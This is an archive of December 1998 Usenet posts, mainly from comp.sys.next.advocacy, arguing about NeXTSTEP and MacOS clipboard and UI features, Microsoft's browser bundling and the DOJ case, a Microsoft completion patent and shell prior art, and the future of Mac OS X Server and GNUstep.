>different ways of doing basically identical tasks, and no way to inspect
>the graphically inspect the contents of a pasteboard.
Well, command-p *by itself* is not going to cut it if you have multiple
pasteboards (in this case, unlimited) to choose from. You need some selection
mechanism to choose which one to paste.
This one sounds more manageable than Maury's suggestion, and it is *already*
implemented. I've tried multiple-clipboard extensions in the past; I've
always found them unwieldy to use.
This works *much* better than any I've tried. Sorry if you'd have to dust off
your mouse to use it.
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: "Matt H" <matt@i_dont_want_your_email.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 10:47:44 -0800
Organization: NNWS
Message-ID: <75e7v3$g0d$1@remarQ.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <367d2e22.20299519@news1.bway.net>
well said
>
>Some companies might feel this way, but I think users are fed up being
>pressured by M$ to use M$ applications along with an M$ OS. I don't
>want to use Netshow (which sucks compared to Realvideo) and I don't
>want to use IE. M$ clones such applications and then attempts to lock
>out the original creators using the OS for leverage. I think that
>kind of behaviour deserves some criticism?
>
>Otherwise, I really don't care how successful M$ is, if they are
>forever the leading software company, media giant, whatever, or how
>much money Bill Gates makes. But I do care when they try to FORCE
>people to use applications they do not want to use.
>
>
>/ w A R D s I X e N T E R T A I N M E N T \
>http://www.wardsix.com /\ toadeater@wardsix.com
From: distler@golem.ph.utexas.edu (Jacques Distler)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 18 Dec 1998 18:43:01 GMT
Organization: The University of Texas at Austin, Austin, Texas
Message-ID: <75e7nl$f4t$1@geraldo.cc.utexas.edu>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <distler-1712981622090001@cheshire.ph.utexas.edu> <F464qn.KDo@T-FCN.Net> <distler-1812981045280001@192.168.0.1> <75e3ra$8nj$1@crib.corepower.com> <75e78c$eov$1@geraldo.cc.utexas.edu>
/gnVR"|LWyKVK{`$&t&`k{]Q^x*"ihe+^hTvWs@IEMtYI5RVzGFBPcMu`}>@#^Fm:<)M
w83/\[@#\u?TVrF3fqDjK?
nurban@crib.corepower.com (Nathan Urban) wrote:
>>> What's the diff?
>>
>>. . . and no way to inspect
>>the graphically inspect the contents of a pasteboard.
Whoops! Missed that part.
Not so!
Double-click on the text(or whatever)-clipping's icon, and it opens up a
window with the contents. So, yes, you can browse it.
Again, with multiple (unlimited number of) pasteboards, you need some method
for selecting which one to browse. Not easy to think of how to do that with
keyboard shortcuts. You really gotta dust off that mouse.
JD
--
PGP public key: http://golem.ph.utexas.edu/~distler/distler.asc
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 98 18:25:35 GMT
Organization: P & L Systems
Message-ID: <367a9e1f.0@stan.astra.co.uk>
References: <adtF3rtpr.Gxq@netcom.com> <FIiROLCWddLd-pn2-Vs4dWgtBV2NH@localhost>
<36783d7f.0@stan.astra.co.uk> <FIiROLCWddLd-pn2-7pqEx61XfNtl@localhost>
<3678CBC7.997A4D7D@nstar.net> <us5zp8m7hsd.fsf@kit.ai.mit.edu>
<FIiROLCWddLd-pn2-l3INZ9lM64Yd@localhost>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: pit@iohk.SPAM-NOT.com
In <FIiROLCWddLd-pn2-l3INZ9lM64Yd@localhost> taiQ wrote:
> Heck, you could all be
> one and same seriously disturbed person furiously typing the night
> away...
>
Nope, that's Jonathan Harker... err, Covington, err...
From: spagiola@my-dejanews.com
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: Fri, 18 Dec 1998 19:14:17 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75e9i7$cs4$1@nnrp1.dejanews.com>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com> <F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com> <F464Mz.KC4@T-FCN.Net>
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> spagiola@my-dejanews.com wrote:
> > I know we've had several arguments over the years about how good NeXT's UI
> > is. While not wishing to quarrel with your tastes, may I suggest that at
> > least some of your criticism may derive from not noticing some of the
> > tools that this UI offers you, as in this instance?
>
> You missed the point - the fact that this is a hidden feature makes it a
> *bad* feature. Hidden features are, by definition, bad.
Hidden? If you look at the tools inspector, right above the row of icons, it
says "Double-click to open selected documents". And at the bottom of the panel
it says "click 'set default' to set default application" right above a big
button with the inscription 'set default'. How much more explicit can you get?
Once again, I'm forced to wonder just how much of a work-out you gave to
NeXTSTEP's UI.
> Yet many of my
> complaints about the interface had been "solved" by hidden features, and
> then that hidden feature is used as a justification to tell me I don't know
> what I'm talking about.
There are hidden feaures, and there are features that are far less obvious
than they should be. But this is patently not an example of this.
Stefano Pagiola
---
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows NT user, future MacOS X
Server user
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Charles Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: Fri, 18 Dec 1998 19:27:33 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75eab3$doi$1@nnrp1.dejanews.com>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net> <F42G8I.AMz@T-FCN.Net> <759lt1$g7b$1@hecate.umd.edu> <75c1p7$h34$1@nnrp1.dejanews.com> <F461xD.Inv@T-FCN.Net>
In article <F461xD.Inv@T-FCN.Net>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> In <75c1p7$h34$1@nnrp1.dejanews.com> "Charles Swiger" wrote:
>> Actually, MOXS appears to be more closely derived from OpenBSD, since it
>> inherited a bug in the field names of a struct timespec (since fixed).
>
> Maybe it really is half and half, there's definitely Net stuff in there.
Fair enough.
> While on the topic, is there any hope in the future of these efforts
> becomeing more streamlined? Having three is dumb, notably when you
> consider that the majority of the differences come down to what would
> normally be branches on a CVS tree.
The parting of the ways between them appears to be along the lines of the GNU
emacs and xemacs split. There's "irreconsilable differences of opinion about
the future direction", so these projects are going their own ways.
-Chuck
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: cmh@alycia.dementia.org (Chris Hanson)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 18 Dec 1998 14:50:34 -0500
Organization: Dementia Unlimited, Pittsburgh PA
Message-ID: <ct8ww3p6xh1.fsf@alycia.dementia.org>
In-reply-to: anarkhos@anarchism.orgy's message of Wed, 09 Dec 1998 16:29:51
-0800
In article <anarkhos-ya02408000R0912981629510001@news>
anarkhos@anarchism.orgy (strobe) writes:
Apple is dumping DPS. Adobe made it VERY clear they want DPS to DIE.
Nobody is quite sure what will be used in MacOS X, however Apple made it
clear DPS calls will not be supported. One good thing about ghostscript is
OpenStep developers wanting to port their applications to YB and use DPS
calls will have a cheap method to cross the gap.
My understanding is that most of the common Display PostScript calls
will continue to work in MacOS X, because they'll map directly to
Enhanced QuickDraw commands. (After all, they use the same imaging
model.) In other words, just because Display PostScript is going away
doesn't mean Apple's going to break PSmoveto(), PSlineto(), etc. It's
the stuff where you can send explicit PostScript commands to the
Display PostScript engine that's going away -- PSWraps and the like.
As for YB on Linux, GNUstep is architected to support multiple back
ends. There's an xdps one for people using the X Window System with
Display PostScript extension, and an xraw one that just uses the
low-level X toolkit. One could also implement a GGI/KGI back end that
uses neither X nor Display PostScript, and a DGS back end that runs on
top of Display GhostScript (which in turn could run on top of X,
GGI/KGI, whichever).
ObGNUstepPlea: Please, Apple, publish the nib file format.
From: mlw <markw@mohawksoft.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Fri, 18 Dec 1998 19:58:32 +0000
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <367AB3E8.8D151EC9@mohawksoft.com>
References: <3679789f.27413999@news2.asan.com> <slrn77jp9l.7n3.jedi@dementia.mishnet>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
jedi@dementia.mishnet wrote:
>
> On Thu, 17 Dec 1998 21:37:39 GMT, Willy <willy1@rocketmail.com> wrote:
> >Linux distributions have browsers on them. MacOS 8.x ships with two
> >browsers. And I'd bet that Be and various Unix OSes now ship with
> >browsers. So why can MS ship a browser with Windows? Why is everyone
> >else allowed to ship Navigator with their OS but Microsoft can't ship
> >IE?
>
> ...they can ship Netscape, Opera or whomever else
> wants to get on board just like the Win95/MSN/DOJ
> matter...
>
> Also, none of the other OSes that bundle browsers
> do so in such a fashion that you need to shred the
> OS with it to remove it (the browser).
>
> --
> Herding Humans ~ Herding Cats
>
> Neither will do a thing unless they really want to, or |||
> is coerced to the point where it will scratch your eyes out / | \
> as soon as your grip slips.
>
> In search of sane PPP docs? Try http://penguin.lvcm.com
I was reading an artcle the other day. A professor came up with a
program/strategy to remove IE 4 from Windows 98. As part of "discovery"
he send it to Microsoft. Within a month or two, Microsoft changed
Windows 98 in such a way that the program no longer worked relaibly. The
Judge in the caes was beside himself. "Are you telling me that in the
couse of discovery Microsoft Changed Windows 98?" response, "yes." The
spokes wiesle for Microsoft said it must be something new in IE 5.
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
From: "John Kheit" <jkheit@uco-iplaw.com>
Newsgroups: comp.sys.next.advocacy
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com>
Subject: Re: Microsoft patented 'completion'
Message-ID: <HTye2.1659$qF5.4729153@lwnws01.ne.mediaone.net>
Date: Fri, 18 Dec 1998 15:30:41 -0500
NNTP-Posting-Date: Fri, 18 Dec 1998 15:26:15 EDT
Organization: Northeast Region--MediaOne
John Rudd wrote in message <36784003.14BC83CF@cygnus.com>...
>Any Lawyers around here? (John Kheit, you listening?)
>
>What is the process for challenging a patent based on there being prior
>examples of the work?
>
>File name completion in csh (at least) existed LONG before the dates of
>this patent. I would expect it to be trivial to challenge this patent.
>
>Wonder if you can do a class action suit as a patent challenge. :-}
>
Yes there are. At least at least 3 things you can do. (1) For free you can
send prior art (patents) or publications to the Patent office. What that
will do is put the art on the patents file, but nothing more. It works as a
time bomb for if and when someone either (2) challenges the patents validity
(by declaratory action or otherwise) or (3) files for a reexamination. A
patent challenge can be quite expensive, and you must have standing (i.e.
feel that you may be ligitimatly sued for infringing). That means as a non
party you can file for a reexam (not nearly as expensive). So, You can send
in examples of prior art to the office or you can pay for a reexamination
(which can be a lot like a displeasureful probe :).
There is actually an organization that exists to squash lamo patents and
that may be a good organization to employ for such squashing. I don't have
the bookmark here it's on my next box which is monitorless right now. I
don't quite remember their name, but their aim was to mush useless software
patents. They may be a good resource for such an attack
STANDARD TUSHY COVERING DISCLAIMER:
The above in no way represents legal advice. No attorney client
relationship has been established. The above should not be viewed as
representative of the actual state of the law. It should be assume that the
above information, if anything, is likely wrong. The interests of the
reader are in no way being served. The above is a work of non-fiction and
should be treated as such by the reader. Any resemblance to the actual
state of the law is a mere coincidence and nothing more. Smoking is
hazardous to your health. Don't drink and drive. Do not mistake laxatives
for desert. Wait an hour before swimming. Do not affix tongue to cold
pole.
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: MacOS X and file associations, etc.
Content-Type: text/plain; charset=us-ascii
Message-ID: <F46FzJ.2AA@T-FCN.Net>
Sender: news@T-FCN.Net
Content-Transfer-Encoding: 7bit
Cc: maury@remove_this.istar.ca
Organization: needs one
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com>
<distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com>
<F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com>
<F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com>
<3679b2bd.0@news.depaul.edu> <F464o4.KCw@T-FCN.Net>
Mime-Version: 1.0
Date: Fri, 18 Dec 1998 20:09:18 GMT
In <F464o4.KCw@T-FCN.Net> Maury Markowitz wrote:
> > document(s)', you thought that referred to double-clicking on the
> > file icon in the Viewer, and not the app icon in the inspector?
>
> Yes.
Actually I take that back, and change it to "I don't know".
Maury
From: msb@plexare.com (Michael S. Barthelemy)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 18 Dec 1998 20:18:13 GMT
Organization: A-Link Network Services, Inc.
Message-ID: <75eda5$ufs@ns2.alink.net>
References: <FIiROLCWddLd-pn2-l3INZ9lM64Yd@localhost>
pit@iohk.SPAM-NOT.com (taiQ) writes:
> Mac OS X will be the native son, but yet c.s.n.a is also the home of
> the Yellow Box which is a platform-agnostic solution (to the extent it
> is allowed to) and to other Unix-centric technologies not to mention
> c.s.n.a's becoming an adopted home to other cross-platform
> technologies such as QTML as well. As a result it may be unnecessary
> to try differentiating between platforms as long as the discussion is
> relevant to advancing Mac OS X or related technologies. Anything else
> and... forget that damn holster... <fumble> FIRE! <g>
I think the problem you are having with us long-time NeXTstepers (using the old
form) is that you are arguing for a lack of MacOS X on Intel and replacing it
with Linux/YB. That is simply unacceptable for most of us. We want Mach on
Intel with however MacOS X Server changes to become MacOS X.
Given the lineage of MacOS X started on M68k was ported to Intel, HP PA-RISC,
SPARC and finally to the PowerPC we know that it would not take too much effort
to keep it there.
Finally in regards to drivers (to head off the standard regression) for MacOS X
I do not care what Intel hardware they support. If they do not support my
particular cards on an Intel port I will buy whatever is necessary to have my
machine supported. Buying a new machine now is not an option. I am not
arguing for a mass-marketed solution only a if-you-must-use Intel option.
There is a long-standing issue of NeXT developers trusting that the NeXT
contingent of Apple will do the right thing just as they did at NeXT. I do not
trust the Linux community in this way.
In my opinion, the Linux community has vastly more in common with an
out-of-control everyone going their own way project than the MacOS X team at
Apple. There is little coherent direction of where Linux is going other than
in the kernel itself.
Mike Barthelemy
msb@plexare.com
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 18 Dec 1998 15:20:30 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75edee$8vv$1@crib.corepower.com>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <75e3ra$8nj$1@crib.corepower.com> <75e78c$eov$1@geraldo.cc.utexas.edu> <75e7nl$f4t$1@geraldo.cc.utexas.edu>
NNTP-Posting-Date: 18 Dec 1998 20:20:38 GMT
In article <75e7nl$f4t$1@geraldo.cc.utexas.edu>, distler@golem.ph.utexas.edu (Jacques Distler) wrote:
> nurban@crib.corepower.com (Nathan Urban) wrote:
> >>> What's the diff?
> >>. . . and no way to inspect
> >>the graphically inspect the contents of a pasteboard.
> Not so!
> Double-click on the text(or whatever)-clipping's icon, and it opens up a
> window with the contents.
I said _pasteboard_, meaning "clipboard". Is it possible to graphically
inspect the MacOS _clipboard_? What Maury and I were talking about was
a combination of the clipboard/pasteboard with the desktop clipping thing.
> Again, with multiple (unlimited number of) pasteboards, you need some method
> for selecting which one to browse. Not easy to think of how to do that with
> keyboard shortcuts. You really gotta dust off that mouse.
The general idea is that you're usually only working with one category
of item, hence one pasteboard, at one time.
From: nospam@ucsc.edu (Aaron Melgares)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: Fri, 18 Dec 1998 12:46:38 -0800
Organization: UC Santa Cruz
Message-ID: <nospam-1812981246380001@nsac-2.ucsc.edu>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <75e3ra$8nj$1@crib.corepower.com> <75e78c$eov$1@geraldo.cc.utexas.edu> <75e7nl$f4t$1@geraldo.cc.utexas.edu> <75edee$8vv$1@crib.corepower.com>
Nathan wrote:
> I said _pasteboard_, meaning "clipboard". Is it possible to graphically
> inspect the MacOS _clipboard_?
Yes - In the Finder there is a "Show Clipboard" command in the Edit menu
--
Aaron Melgares
Macintosh user since 1986
From: peltz@jaka.ece.uiuc.edu (Steve Peltz)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: 18 Dec 1998 21:05:22 GMT
Organization: NovaNET Learning, Inc.
Message-ID: <75eg2i$mhu$1@vixen.cso.uiuc.edu>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au>
In article <36815279.11525103@news.magna.com.au>,
Sam <sxr@spam.hotmail.com> wrote:
>The only thing Microsoft is guilty of is being too successful.
They're guilty of quite a few other things; as a result, they were
required to make agreements that other companies wouldn't have had
to make. Violating those agreements is the primary reason the DOJ
started going after them again. The browser issue is just one part
of it.
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Microsoft patented 'completion'
Date: 18 Dec 1998 20:48:25 GMT
Organization: The SABRE Group
Message-ID: <75ef2p$nde7@george.sabre.com>
References: <36778d0e.0@news.depaul.edu> <75a77u$4lv$10@blue.hex.net> <3678ab47.0@news.depaul.edu>
On 17 Dec 98 06:57:11 GMT, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>Christopher Browne <cbbrowne@news.hex.net> wrote:
>> On 16 Dec 98 10:35:58 GMT, Jonathan W Hendry
>> <jhendry@shrike.depaul.edu> wrote:
>> >Filed June 5 1996
>> >Issued Dec 1, 1998
>> >
>> >US5845300: Method and apparatus for suggesting completions for a
>> >partially entered data item based on previously-entered,
>> >associated data items
>
>> Would the Tenex shell represent prior art?
>
>> (As well as Bash, zsh, tcsh, and <a
>> href="http://www.geocities.com/~earnoth/KornBeatMS.htm"> Korn Shell
>> </a>???)
>
>Perhaps.
>
>They actually mention a few cases in the patent filing, several
>of which are Microsoft's.
>
>The specific angle on this particular patent is that it uses
>a 'dynamic' set of items for possible completions for a data
>field.
>
>The examples of similar technology use non- dynamic sets,
>though it's not entirely clear.
That is true for *most* of the shells I cited.
zsh, however, allows the list of items to be dynamically generated by a
program, which makes it as dynamic as you want it to be.
--
"Your job is being a professor and researcher: That's one hell of a good
excuse for some of the brain-damages of minix." -- Linus Torvalds to
Andrew Tanenbaum
cbbrowne@ntlug.org- <http://www.hex.net/~cbbrowne/langscript.html>
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 18 Dec 1998 21:34:11 GMT
Organization: Steel Driving Software
Message-ID: <01be2b00$7217f680$6db5dccf@samsara>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com> <F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com> <3679b2bd.0@news.depaul.edu> <F464o4.KCw@T-FCN.Net> <F46FzJ.2AA@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote in article
<F46FzJ.2AA@T-FCN.Net>...
> In <F464o4.KCw@T-FCN.Net> Maury Markowitz wrote:
> > > document(s)', you thought that referred to double-clicking on the
> > > file icon in the Viewer, and not the app icon in the inspector?
> >
> > Yes.
>
> Actually I take that back, and change it to "I don't know".
Sorry. Too late. No take-backs.
We'll be around to collect your NeXT boxes next week.
;)
From: nurban@crib.corepower.com (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NEXT UI on MacOS 8.x
Date: 18 Dec 1998 16:47:18 -0500
Organization: Data Systems Consulting, Inc.
Message-ID: <75eih6$93v$1@crib.corepower.com>
References: <14Nc2.20795$q15.465873@news.san.rr.com> <75e7nl$f4t$1@geraldo.cc.utexas.edu> <75edee$8vv$1@crib.corepower.com> <SPAMLESSforrest-1812981300360001@term6-47.vta.west.net>
NNTP-Posting-Date: 18 Dec 1998 21:47:26 GMT
In article <SPAMLESSforrest-1812981300360001@term6-47.vta.west.net>, SPAMLESSforrest@west.net (Forrest Cameranesi) wrote:
> In article <75edee$8vv$1@crib.corepower.com>, nurban@vt.edu wrote:
> >I said _pasteboard_, meaning "clipboard". Is it possible to graphically
> >inspect the MacOS _clipboard_? What Maury and I were talking about was
> >a combination of the clipboard/pasteboard with the desktop clipping thing.
> Yes, you can. Edit -> Show Clipboard. Unfortunately a lot of apps don't
> implement this, which rather bites.
That should be the sort of thing that the frameworks implement
automatically, rather than having app authors support it manually. :-/
From: demit@best.com (Jeff Graham)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: 18 Dec 1998 14:13:47 -0800
Organization: a user of Best Internet Communications, Inc. www.best.com
Message-ID: <75ek2r$dis$1@shell7.ba.best.com>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com>
The difference here is Ford does not route engine functions through the
radio forcing people to disable their car when they try to use an
aftermarket radio. This is where your analogy falls apart, if Ford (or
any other major automaker) was routing your engine functions through the
radio and you could replace the radio with a radio that mostly works,
but you have to manually wire it to say get the ignition to work, you
can bet that you would be seeing a similar suit from alpine and other
auto electronics companies.
In article <3679eb61$0$226@nntp1.ba.best.com>,
Boris <XXXboris@movil.comXXX> wrote:
>A collegue at work compared this with Ford shipping cars with radio, so that consumers
>could decide and insert radio of their choice. I agree that it's applicable comparison.
>It's fact of life that software development becomes priviledge of large companies,
>Microsoft the biggest one.
>At the beginning of 20th century there where scores of small automobile manufacturers.
>They all disappered; instead we have monstrous car "empires". Why should software be much
>different?
>
>Boris
>
>
--
Jeffrey Graham - Senior Systems Administrator (UNIX)
PGP public key by request - My opinions only, no one elses.
From: "Jonathan Hendry" <jon@steeldriving.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X and file associations, etc.
Date: 18 Dec 1998 21:32:28 GMT
Organization: Steel Driving Software
Message-ID: <01be2b00$34397e10$6db5dccf@samsara>
References: <756k6o$p4e$1@geraldo.cc.utexas.edu> <19981216074540.14116.00000011@ng57.aol.com> <distler-1612980948250001@dial-104-21.ots.utexas.edu> <759ig9$3gq$1@crib.corepower.com> <F44Aww.F4v@T-FCN.Net> <75bmqv$78l$1@nnrp1.dejanews.com> <F44q5H.AL@T-FCN.Net> <75c95q$nfr$1@nnrp1.dejanews.com> <F464Mz.KC4@T-FCN.Net>
Maury Markowitz <maury@remove_this.istar.ca> wrote in article
<F464Mz.KC4@T-FCN.Net>...
> In <75c95q$nfr$1@nnrp1.dejanews.com> spagiola@my-dejanews.com wrote:
> > I know we've had several arguments over the years about how good NeXT's
UI
> > is. While not wishing to quarrel with your tastes, may I suggest that
at
> > least some of your criticism may derive from not noticing some of the
> > tools that this UI offers you, as in this instance?
>
> You missed the point - the fact that this is a hidden feature makes it
a
> *bad* feature. Hidden features are, by definition, bad. Yet many of my
> complaints about the interface had been "solved" by hidden features, and
> then that hidden feature is used as a justification to tell me I don't
know
> what I'm talking about.
This isn't a 'hidden' feature. The on-screen text could use a few
more words to elaborate on what you're supposed to double-click on.
They tried to document it right in the UI, apparently hoping the user
would realize they were talking about the app icons right below the text.
'Hidden' features are things like the color wheel trick that was
mentioned here a while back.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Microsoft vs. DOJ: who do *you* think is winning?
Date: 18 Dec 98 23:46:45 GMT
Organization: P & L Systems
Message-ID: <367ae965.0@stan.astra.co.uk>
References: <36717987.21076075@news2.asan.com> <3673C094.7C814583@brown.edu>
<3673de8f.1614090@news2.asan.com> <3675358B.87637823@ericsson.com>
<petrichF40Gu1.n25@netcom.com> <3676B50C.4DC3479F@ericsson.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: michael.peck@ericsson.com
In <3676B50C.4DC3479F@ericsson.com> Michael "Arthur" Peck wrote:
> > What is the "elite"?
>
> Elite, Anointed, there are many handles for those who presume to speak
> and act on behalf of beknighted "masses".
>
I presume Linux-users aren't beknighted, then, or maybe they're just
benighted? Or was it your turn to act as a sort of executive officer for the
week? Perhaps you were handed the scimitar of leadership in some farcical
aquatic ceremony...?
mmalc.
Subject: Re: "One thing that looks definite is....Mac OS X Server in
January..."
From: michael.peck@ericsson.com (Michael Peck)
Date: Tue, 15 Dec 1998 13:55:06 -0600
Organization: Ericsson Data Services Americas
Message-ID: <3676BE9A.D76FE8DE@ericsson.com>
> NO.
>
> Either the source needs to be free or the specification needs to
be.
I will affirm this. The Linux community will not accept "black box"
solutions.
MJP
From: steinber@unixg.ubc.ca (David Steinberg)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Followup-To: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Date: 19 Dec 1998 00:51:25 GMT
Organization: University of British Columbia, Vancouver, B.C., Canada
Message-ID: <75etad$q9u$1@nntp.ucs.ubc.ca>
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com>
Boris (borisspamno@pleasemovil.com) wrote:
: A collegue at work compared this with Ford shipping cars with radio,
: so that consumers could decide and insert radio of their choice. I
: agree that it's applicable comparison. It's fact of life that software
: development becomes priviledge of large companies, Microsoft the
: biggest one.
The most obvious weaknesses in this analogy:
1. If I request it, the dealer will sell me a car WITHOUT the radio.
They certainly won't tell me, "if we took the radio out, the car would be
broken."
2. Neither Ford nor any other car company has an effective monopoly over
car sales, so they don't have to worry about anti-trust legislation.
: At the beginning of 20th century there where scores of small
: automobile manufacturers. They all disappered; instead we have
: monstrous car "empires". Why should software be much different?
A better question is "why should they be the same"? It takes a factory to
build a car; it takes a PC, a compiler, and someone who knoews what he's
doing to make software.
Why should we let some companies add artificial boundaries to the
process of software creation...when it obviously benefits no one but
themselves?
From: hugh@damnspam.semplicesoft.com (Hugh Johnson)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: YB for Linux
Date: 19 Dec 1998 03:54:31 GMT
Organization: Semplice Software
Message-ID: <hugh-1812982154060001@24.minneapolis-01.mn.dial-access.att.net>
References: <ct8ww3p6xh1.fsf@alycia.dementia.org>
In article <ct8ww3p6xh1.fsf@alycia.dementia.org>, cmh@alycia.dementia.org
(Chris Hanson) wrote:
>
> ObGNUstepPlea: Please, Apple, publish the nib file format.
Do nibs have a uniform file format? I thought they were just blocks of
whatever-you-want, like resources in a Mac resource fork. What, then if
they adhere to a format, then you need a special editor for them, like
ResEdit? What's the advantage of that?
---------------------------------------------------------------------
Hugh Johnson hugh@deletethis.semplicesoft.com Simple Tools
Semplice Software hughj@deletethis.kagi.com for
612-792-0583 BHuey@deletethis.att.net Smart People
<http://www.semplicesoft.com> -- Home of Font Gander Pro
---------------------------------------------------------------------
From: "John Kheit" <jkheit@uco-iplaw.com>
Newsgroups: comp.sys.next.advocacy
References: <36778d0e.0@news.depaul.edu> <cdoutyF42o5s.Lv3@netcom.com> <36784003.14BC83CF@cygnus.com>
Subject: Re: Microsoft patented 'completion'
Message-ID: <SMFe2.1683$qF5.4929676@lwnws01.ne.mediaone.net>
Date: Fri, 18 Dec 1998 23:21:02 -0500
NNTP-Posting-Date: Fri, 18 Dec 1998 23:16:50 EDT
Organization: Northeast Region--MediaOne
John Rudd wrote in message <36784003.14BC83CF@cygnus.com>...
>Any Lawyers around here? (John Kheit, you listening?)
>
>What is the process for challenging a patent based on there being prior
>examples of the work?
>
